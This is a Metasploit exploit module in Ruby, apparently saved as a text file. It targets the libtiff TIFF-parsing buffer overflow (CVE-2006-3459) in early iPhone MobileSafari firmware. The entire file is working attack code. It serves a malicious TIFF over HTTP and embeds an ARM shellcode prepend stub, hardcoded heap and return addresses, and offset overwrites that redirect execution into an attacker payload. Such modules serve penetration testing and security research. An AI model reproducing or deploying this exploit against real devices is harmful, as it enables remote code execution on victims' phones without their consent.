safari_libtiff.rb.txt

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
  
require 'msf/core'  
  
module Msf  
  
class Exploits::Osx::Armle::SafariLibTIFF < Msf::Exploit::Remote  
  
#  
# This module acts as an HTTP server  
#  
include Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the version of  
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and  
1.1.1 of the Apple iPhone. iPhones which have not had the BSD  
tools installed will need to use a special payload.  
},  
'License' => MSF_LICENSE,  
'Author' => ['hdm', 'Kevin Finisterre <kf[at]digitalmunition.com>'],  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2006-3459'],  
['OSVDB', '27723'],  
['BID', '19283']  
],  
'Payload' =>  
{  
'Space' => 1800,  
'BadChars' => "",  
  
# Multi-threaded applications are not allowed to execve() on OS X  
# This stub injects a vfork/exit in front of the payload  
'Prepend' =>  
[  
0xe3a0c042, # vfork  
0xef000080, # sc  
0xe3500000, # cmp r0, #0  
0x1a000001, # bne  
0xe3a0c001, # exit(0)  
0xef000080 # sc  
].pack("V*")  
},  
'Targets' =>  
[  
  
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',   
{  
'Platform' => 'osx',  
  
# Scratch space for our shellcode and stack  
'Heap' => 0x00802000,  
  
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib  
'Magic' => 0x300d562c,   
}  
],   
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 01 2006'  
))  
end  
  
def on_request_uri(cli, req)  
  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Grab reference to the target  
t = target  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the compressed response to the client  
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })  
  
# Handle the payload  
handler(cli)  
end  
  
def generate_tiff(code, targ)  
  
#  
# This is a TIFF file, we have a huge range of evasion  
# capabilities, but for now, we don't use them.  
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday  
#  
  
lolz = 2048  
tiff =   
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+  
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+  
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+  
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+  
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+  
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+  
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+  
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+  
[lolz].pack("V") +  
"\x84\x00\x00\x00\x00\x00\x00\x00"  
  
# Randomize the bajeezus out of our data  
hehe = rand_text(lolz)  
  
# Were going to candy mountain!  
hehe[120, 4] = [targ['Magic']].pack("V")  
  
# >> add r0, r4, #0x30  
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")  
  
# Candy mountain, Charlie!  
# >> mov r1, sp  
  
# It will be an adventure!  
# >> mov r2, r8  
hehe[ 92, 4] = [ hehe.length ].pack("V")  
  
# Its a magic leoplurodon!  
# It has spoken!  
# It has shown us the way!  
# >> bl _memcpy  
  
# Its just over this bridge, Charlie!  
# This magical bridge!  
# >> ldr r3, [r4, #32]  
# >> ldrt r3, [pc], r3, lsr #30  
# >> str r3, [r4, #32]  
# >> ldr r3, [r4, #36]  
# >> ldrt r3, [pc], r3, lsr #30  
# >> str r3, [r4, #36]  
# >> ldr r3, [r4, #40]  
# >> ldrt r3, [pc], r3, lsr #30  
# >> str r3, [r4, #40]  
# >> ldr r3, [r4, #44]  
# >> ldrt r3, [pc], r3, lsr #30  
# >> str r3, [r4, #44]  
  
# We made it to candy mountain!  
# Go inside Charlie!  
# sub sp, r7, #0x14   
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")  
  
# Goodbye Charlie!  
# ;; targ['Heap'] + 0x48 becomes the stack pointer  
# >> ldmia sp!, {r8, r10}  
  
# Hey, what the...!  
# >> ldmia sp!, {r4, r5, r6, r7, pc}  
  
# Return back to the copied heap data  
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")  
  
# Insert our actual shellcode at heap location + 196  
hehe[196, payload.encoded.length] = payload.encoded  
  
tiff << hehe  
end  
  
end  
end  
`